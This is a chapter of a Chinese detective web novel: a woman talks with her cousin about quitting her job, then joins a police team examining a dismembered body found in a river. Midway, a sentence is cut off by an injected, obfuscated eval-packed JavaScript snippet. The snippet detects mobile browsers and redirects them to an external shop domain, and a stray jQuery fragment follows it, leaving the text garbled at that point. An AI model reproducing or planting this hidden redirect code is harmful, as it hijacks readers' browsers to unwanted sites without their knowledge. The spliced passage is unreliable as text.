“昨晚是不是吓到你了?”
唐爱颂吃着唐喜外卖点来的早餐,抬起头来看向她:“是有人被吓到。”
“唉……”唐喜面色憔悴地闭了闭眼,“其实我想……我妈她也不是想怎么样,可能真的就是无心的玩笑吧。”
“想你怀孕的心是真的。”
唐喜一愣,回过神来:“这倒是……但是算了,母女之间没有隔夜仇,这事还是就这么过去吧。不过我实话和你说啊,我主要气她在梅阿姨面前说这些,梅阿姨老大嘴巴了,一天到晚在小区楼下八卦个没停……你以后也小心些。”
“好。”唐爱颂看了眼她面前几乎没怎么动的肠粉,“喜喜姐,你没打算去看医生吗?”
唐喜半开玩笑道:“找我姐啊?”
“你觉得行也行。”
“唉……”唐喜又叹了口气,“不用看医生,我知道问题出在哪。”
唐爱颂:“工作上的事?”
“啊?”唐喜这会惊讶了,“你怎么知道?”
“很难猜吗?”唐爱颂理所当然道,“你没有身体问题,又没谈恋爱,一天到晚早出晚归,大把时间都在公司……就算不是工作上的事也是和工作相关的事。”
唐喜苦笑一声:“怎么听你说的一切推测都这么简单?”
“不简单。”唐爱颂略探究地看向她,“我还没想到为什么你会出现这样的胃口不适的情况。不是生理问题,可也不像心理问题。毕竟从心理问题发展到躯体化是需要时间和过程的,而你没有这样的症状。”
“不要分析我了,爱颂!”唐喜哭笑不得地制止她,“真不方便说,但我已经决定要辞职了。”
既然她都这么说了,唐爱颂便道:“虽然不知道发生了什么,但我想这是正确的决定。”
唐喜松了口气,又想到什么:“对了,你这个时间是不是要去上班了?”
“本来是。”唐爱颂拿纸巾擦了擦嘴巴,“不过我的打卡制度被取消了,以后上下班时间比较自由。”
——虽然她本来也没打算多严格遵守。
“哇。”唐喜艳羡道,“你领导真看重你。而且是真看重,不是督促你内卷的打压式鼓励。”
唐爱颂微笑道:“我不配吗?”
“你配,你配。”唐喜看了眼时间,“好了,我要去辞职了,这次辞职之后我要好好gap一个月!”
“祝你顺利。”
“祝我顺利!”
*
唐爱颂不知道辞职要多久,大概每个公司都有不同但相似复杂的流程。总之她在家里悠哉工作了一天,心情自在地看【四汪队立大功】的群聊里,南瓜红薯金枪鱼三位你一句我一句地吐槽结案报告有多难写。
晚上她去701吃饭时,唐喜还没有回来。
饭桌上她听几人的谈话,发现柳桂芬她们似乎不知道唐喜要辞职的事,以为她依旧在公司加班工作,所以也没什么反应。唐爱颂当然没多嘴告知。
大概凌晨两三点的时候,睡梦中的唐爱颂恍惚被外头开门的声音唤醒,她想到应该是唐喜回来了,拿起手机看了眼时间后便闭上眼睛继续睡。
隔日早上。
唐爱颂起床后洗漱完,从卫生间出来时看了眼唐喜紧闭的房门,往常这个时间她应该已经起床去上班了,看来是昨天辞职成功了。
点了揣星的咖啡和贝果之后,唐爱颂回到屋里,打算先看会书,等吃完早餐后再开始工作。但书看到一半,她便收到了四汪队的群聊信息:
【贝贝南瓜】:@唐爱颂,来案子了!说是发现了碎尸,我们现在要出发旧塘河,你来吗爱颂?
碎尸案?
唐爱颂看向面前的文档,想到“经典永不过时”这事;不过……若是老套的剧情,那么再经典也无聊。
这么想着,她离开办公桌去换外出的衣服。
临出发前正好拿到外卖小哥送来的早餐,时间正好。
【唐爱颂】:发个定位,稍后就到。
贝楠光看着群聊里的信息,连忙转发了定位。有些激动道:“我就说爱颂会来的,嘿嘿。”
“你干嘛这么兴奋?”她旁边的金千羽瘫坐着,“上个案子才完,这个案子又来了,不必这么紧凑吧,唉……我负责的结案报告部分还剩个尾呢。”
高宏树回头看他:“就差你那part了,能不能快点?”
“知道了——今天下班前交!”
高宏树翻了个白眼:“今天还不知道几点下班!”
金千羽慢慢直起身子,趴到驾驶座的座位后边,对开车的元瞿道:“元队,你不觉得唐老师这个班上得太舒服了吗?我好羡慕啊!她可以居家办公不打卡就算了,还不用写结案报告诶!”
“羡慕?”元瞿微笑道,“那你也去学她的本事。”
“现在哪来得及?”金千羽撇了下嘴,忽然想到什么,“咦,那你说如果遇到她不感兴趣的案子,她是不是干脆可以不来啊?”
高宏树在边上说:“我看是这样。”
“她只是兼职!”贝楠光出声道,“干什么,你们还想人家多帮我们?”
“没有啦。”金千羽坐了回来,挠挠头道,“我只是觉得多一个人多一份力量嘛,嘿嘿。”
元瞿道:“是这样不错,不过无论如何还是提升自己最重要,起码做到不拖人后腿。”
“听到没?”贝楠光怼他,“赶紧把报告交了,别总是让人催!”
“好,好,好——”
旧塘河沿岸。
元瞿带队到达的时候,技侦人员已经围起了警戒线,外边有些路人好奇地远远观望着,不敢靠近。
法医缪琴指着地上湿漉漉的三个大黑袋子,对几人阐述道:
“死者的尸体被分尸后装入了三个相同材质的黑袋子中,但袋子没有被系紧;除了有重量的头颅和骨头部分,第三个袋子里的东西被水流冲走了很大一部分,估计是找不回来了。”
元瞿微微皱眉:“这附近水流不急,应该不容易被冲走?”
“本来是不容易,”缪琴把第三个袋子拎起来掀开给几人看,“喏,谁叫里边都是肉泥呢。”
“肉泥?”贝楠光瞥了一眼,“哇,太凶残了吧?”
高宏树“啧啧”道:“何止凶残,还很大胆。这个凶手居然连袋子都不系一下吗,生怕不被人发现?”
“可能觉得迟早要被发现的吧,或者抛尸的时候条件有限。”金千羽琢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617096|205330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
磨道,“毕竟是抛到河里,这条河还不是海州哪里犄角旮旯的野河,人流量还行的。”
元瞿:“死亡时间可以预测吗?”
缪琴闻言,从另一个黑袋子里拿出了人头捧在手上:“根据死者头颅的情况,再加上部分被水流浸泡后的尸表反应,我初步推测是昨晚八点到凌晨一点。”
几人也不是没见过尸体,但被她这么像捧球似的捧在手上地看,从心理上还是觉得有些惊悚,正想让缪琴放下死者头颅,却听身后传来了一个清亮的女声:
“头颅很完整嘛,”她由远及近,“有没有缺眼睛少牙齿的?”
贝楠光惊喜回头:“爱颂!”
唐爱颂:“早上好。”
缪琴瞥了眼她手中咬了几口的贝果,笑了笑道:“没有,非常完整。应该是方便你们找到他身份的。”
唐爱颂微微颔首:“衣服这些呢?”
元瞿道:“目前没有发现。”
“嗯,”她喝了口咖啡,看向地上的烂泥尸体,“这种颗粒大小的肉泥状,人可以剁出来吗?”
缪琴想了想:“长时间地操作应该可以。不过我更倾向于凶手是使用了家用绞肉机,具体要等我们部门试验过后再给你们报告。”
元瞿颔首道:“好,辛苦了。”
“应该的。”
缪琴她们把尸体运走之后,几人便开始勘查抛尸现场的情况。报案人是今早负责这片区域的环卫工人,这会还没缓过神呢。又通过他联系上昨晚最后值班的工人,说是当时还没发现这三个显眼的大黑袋子。
“工人昨晚扫到这片大概是晚上十点,还没有发现尸体。”高宏树道,“也就是说抛尸时间是晚上十点之后。缪法医推断的死亡时间是晚上八点到凌晨一点,倒是能对上。”
贝楠光观察了周边:“这里的沿河绿道还是有些人流的,除了住在附近的居民,附近商务区的写字楼也有不少。我刚坐车上过来的时候还看见一些亲水平台呢,还有人在钓鱼啥的。”
“好,”元瞿颔首道,“看来附近有些监控可以查了。”
说罢他看向一直没说话但面色若有所思的金千羽:“怎么了千羽?”
“嘶……”金千羽愁眉苦脸着,“我总觉得……我好像在哪里见过死者?”
“啊?”高宏树瞅他一眼,“真的假的?”
“真的啊。”
高宏树道:“可你几乎一天到晚和我们在一起……不会是什么初高中的校友之类的?”
金千羽却摇摇头:“那好像又不是。感觉只是……只是见过,但不认识。”
元瞿问:“来过局里有前科的人?”
“不是不是。”金千羽越想越纳闷,“到底是在哪里?就是很眼熟啊……可又不是那么熟悉……真服了我这记性。”
“算了吧别想了,”贝楠光被他搞得也有些难受,“反正人脸很完整,早晚能查出来身份。”
“人脸……人脸很完整?”金千羽喃喃道,“对,我好像只是看过他这张脸……”
贝楠光在边上:“那不然呢,他现在也只剩这张脸了哈。”
“直播间?”
金千羽猛然抬头看向说话的人,眼前一亮:“啊?”